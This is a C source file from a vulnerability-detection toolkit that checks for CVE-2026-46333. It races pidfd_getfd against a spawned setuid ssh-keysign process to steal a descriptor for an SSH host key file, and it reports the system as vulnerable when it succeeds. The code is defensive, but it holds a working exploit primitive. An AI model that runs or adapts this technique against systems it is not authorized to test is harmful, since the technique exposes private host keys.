cve-toolkit

CVE helper toolkit
git clone git://git.finwo.net/app/cve-toolkit
Log | Files | Refs | README | LICENSE

cve-2026-46333.c (3824B)


      1 /*
      2  * CVE-2026-46333 — ssh-keysign-pwn
      3  *
      4  * __ptrace_may_access() skips the dumpable check when task->mm == NULL.
      5  * During do_exit(), exit_mm() runs before exit_files(), creating a window
      6  * where pidfd_getfd(2) can steal FDs from a setuid binary that opened
      7  * sensitive files before dropping privileges.
      8  *
      9  * Detector: spawn ssh-keysign, open a pidfd, race pidfd_getfd looking for
     10  * an fd pointing at ssh_host_*_key. Success = vulnerable.
     11  */
     12 #define _GNU_SOURCE
     13 #include <errno.h>
     14 #include <fcntl.h>
     15 #include <signal.h>
     16 #include <stdio.h>
     17 #include <stdlib.h>
     18 #include <string.h>
     19 #include <sys/syscall.h>
     20 #include <sys/wait.h>
     21 #include <unistd.h>
     22 
     23 #include "setup.h"
     24 
     25 #ifndef __NR_pidfd_open
     26 #define __NR_pidfd_open 434
     27 #endif
     28 #ifndef __NR_pidfd_getfd
     29 #define __NR_pidfd_getfd 438
     30 #endif
     31 
     32 static int my_pidfd_open(pid_t pid, unsigned flags) {
     33   return (int)syscall(__NR_pidfd_open, pid, flags);
     34 }
     35 
     36 static int my_pidfd_getfd(int pidfd, int targetfd, unsigned flags) {
     37   return (int)syscall(__NR_pidfd_getfd, pidfd, targetfd, flags);
     38 }
     39 
     40 static const char *SSH_KEYSIGN_PATHS[] = {
     41     "/usr/libexec/ssh-keysign",
     42     "/usr/libexec/openssh/ssh-keysign",
     43     "/usr/lib/ssh/ssh-keysign",
     44     "/usr/lib/openssh/ssh-keysign",
     45     NULL,
     46 };
     47 
     48 int detector_cve_2026_46333(struct cve_context *ctx) {
     49   const char *bin = NULL;
     50 
     51   /* Locate ssh-keysign binary */
     52   for (int i = 0; SSH_KEYSIGN_PATHS[i]; i++) {
     53     if (access(SSH_KEYSIGN_PATHS[i], X_OK) == 0) {
     54       bin = SSH_KEYSIGN_PATHS[i];
     55       break;
     56     }
     57   }
     58   if (!bin) {
     59     /* ssh-keysign not present — not exploitable */
     60     return 0;
     61   }
     62 
     63   /*
     64    * Try up to 200 rounds. The upstream exploit uses 500; 200 is
     65    * enough to be confident while keeping detector runtime reasonable.
     66    */
     67   for (int round = 0; round < 200; round++) {
     68     pid_t child = fork();
     69     if (child < 0) return 0;
     70 
     71     if (child == 0) {
     72       /* Child: redirect stdio and exec ssh-keysign */
     73       int dn = open("/dev/null", O_RDWR);
     74       if (dn >= 0) {
     75         dup2(dn, 0);
     76         dup2(dn, 1);
     77         dup2(dn, 2);
     78         if (dn > 2) close(dn);
     79       }
     80       execl(bin, "ssh-keysign", (char *)NULL);
     81       _exit(127);
     82     }
     83 
     84     int pidfd = my_pidfd_open(child, 0);
     85     if (pidfd < 0) {
     86       waitpid(child, NULL, 0);
     87       continue;
     88     }
     89 
     90     int hit = 0;
     91     for (int a = 0; a < 30000 && !hit; a++) {
     92       /* If the child already exited, stop hammering pidfd_getfd */
     93       if (waitpid(child, NULL, WNOHANG) > 0) break;
     94       for (int fd = 3; fd < 32; fd++) {
     95         int stolen = my_pidfd_getfd(pidfd, fd, 0);
     96         if (stolen < 0) continue;
     97 
     98         /* Resolve the stolen fd to see what it points at */
     99         char path[256] = {0};
    100         char link[64];
    101         snprintf(link, sizeof(link), "/proc/self/fd/%d", stolen);
    102         ssize_t n = readlink(link, path, sizeof(path) - 1);
    103         if (n > 0) path[n] = '\0';
    104 
    105         if (strstr(path, "ssh_host_") && strstr(path, "_key")) {
    106           /* Found a host key fd — system is vulnerable */
    107           if (ctx->verbose) fprintf(stderr, "[cve-2026-46333] vulnerable: stole fd %d -> %s\n", fd, path);
    108           close(stolen);
    109           hit = 1;
    110           break;
    111         }
    112         close(stolen);
    113       }
    114     }
    115 
    116     close(pidfd);
    117     waitpid(child, NULL, 0);
    118 
    119     if (hit) return 1; /* vulnerable */
    120   }
    121 
    122   /* No hit after all rounds — likely patched */
    123   return 0;
    124 }
    125 
    126 __attribute__((constructor)) void detector_cve_2026_46333_setup(void) {
    127   detector_queue_append("CVE-2026-46333", "ssh-keysign-pwn",
    128                         "Update the Linux kernel to >= 31e62c2ebbfd (2026-05-14) or later.\n"
    129                         "  No per-binary workaround is effective — the flaw is in the\n"
    130                         "  kernel's __ptrace_may_access() and affects any setuid binary.",
    131                         detector_cve_2026_46333);
    132 }